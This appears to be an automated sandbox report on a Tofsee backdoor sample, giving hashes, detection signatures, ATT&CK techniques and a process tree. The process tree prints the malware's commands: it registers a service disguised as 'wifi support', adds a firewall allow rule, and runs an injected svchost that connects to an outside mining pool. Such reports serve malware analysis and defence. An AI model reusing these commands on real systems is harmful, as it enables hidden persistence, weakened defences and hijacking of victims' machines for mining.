Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15-11-2020 23:16

General

  • Target

    3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe

  • Size

    13.7MB

  • MD5

    dc79c526ee5281646de2e4c87c05cf3f

  • SHA1

    e4bb9d69c62f981917d920d82d7522baaa5ebbb1

  • SHA256

    3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c

  • SHA512

    246dc3cf352cdfa45398e461d3e3a48546aba9fc8381c464b0174ad1bb37fb5814e63ad89635a112fa718cbb3966f214c05774a5ca2cdd8bba26c9facf1bb5b2

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe
    "C:\Users\Admin\AppData\Local\Temp\3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1180
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\blpdeyvw\
      2⤵
        PID:4036
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\edplqakx.exe" C:\Windows\SysWOW64\blpdeyvw\
        2⤵
          PID:424
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create blpdeyvw binPath= "C:\Windows\SysWOW64\blpdeyvw\edplqakx.exe /d\"C:\Users\Admin\AppData\Local\Temp\3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2424
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description blpdeyvw "wifi internet conection"
            2⤵
              PID:3476
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start blpdeyvw
              2⤵
                PID:1524
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:980
              • C:\Windows\SysWOW64\blpdeyvw\edplqakx.exe
                C:\Windows\SysWOW64\blpdeyvw\edplqakx.exe /d"C:\Users\Admin\AppData\Local\Temp\3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1084
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:568
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:516

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              2
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              3
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\edplqakx.exe
                MD5

                ce56d2c8f7dc2f4bc168b94ca7fde651

                SHA1

                ec11230602fe37faedf12ec1d932722c3b27556f

                SHA256

                4e829a860fc0346f5b83e765bc553bb5581cc4d0be7d1cba01ae63aeb469affb

                SHA512

                daa6c4c3b826996fe678cd3427550925a7688435f2a2c1b2da02ce5af91b36034065d13459dfb8b80bb99336b4056b384c4cfc6c5f25000761e8e5f5efd285c0

              • C:\Windows\SysWOW64\blpdeyvw\edplqakx.exe
                MD5

                ce56d2c8f7dc2f4bc168b94ca7fde651

                SHA1

                ec11230602fe37faedf12ec1d932722c3b27556f

                SHA256

                4e829a860fc0346f5b83e765bc553bb5581cc4d0be7d1cba01ae63aeb469affb

                SHA512

                daa6c4c3b826996fe678cd3427550925a7688435f2a2c1b2da02ce5af91b36034065d13459dfb8b80bb99336b4056b384c4cfc6c5f25000761e8e5f5efd285c0

              • memory/424-1-0x0000000000000000-mapping.dmp
              • memory/516-19-0x0000000000A9259C-mapping.dmp
              • memory/516-17-0x0000000000A00000-0x0000000000AF1000-memory.dmp
                Filesize

                964KB

              • memory/568-13-0x0000000002FF0000-0x0000000003000000-memory.dmp
                Filesize

                64KB

              • memory/568-7-0x0000000002ED0000-0x0000000002EE5000-memory.dmp
                Filesize

                84KB

              • memory/568-8-0x0000000002ED9A6B-mapping.dmp
              • memory/568-11-0x0000000004C50000-0x0000000004E5F000-memory.dmp
                Filesize

                2.1MB

              • memory/568-12-0x0000000002FD0000-0x0000000002FD6000-memory.dmp
                Filesize

                24KB

              • memory/568-14-0x0000000003AF0000-0x0000000003AF5000-memory.dmp
                Filesize

                20KB

              • memory/568-15-0x0000000009790000-0x0000000009B9B000-memory.dmp
                Filesize

                4.0MB

              • memory/568-16-0x00000000054E0000-0x00000000054E7000-memory.dmp
                Filesize

                28KB

              • memory/980-10-0x0000000000000000-mapping.dmp
              • memory/1524-5-0x0000000000000000-mapping.dmp
              • memory/2424-3-0x0000000000000000-mapping.dmp
              • memory/3476-4-0x0000000000000000-mapping.dmp
              • memory/4036-0-0x0000000000000000-mapping.dmp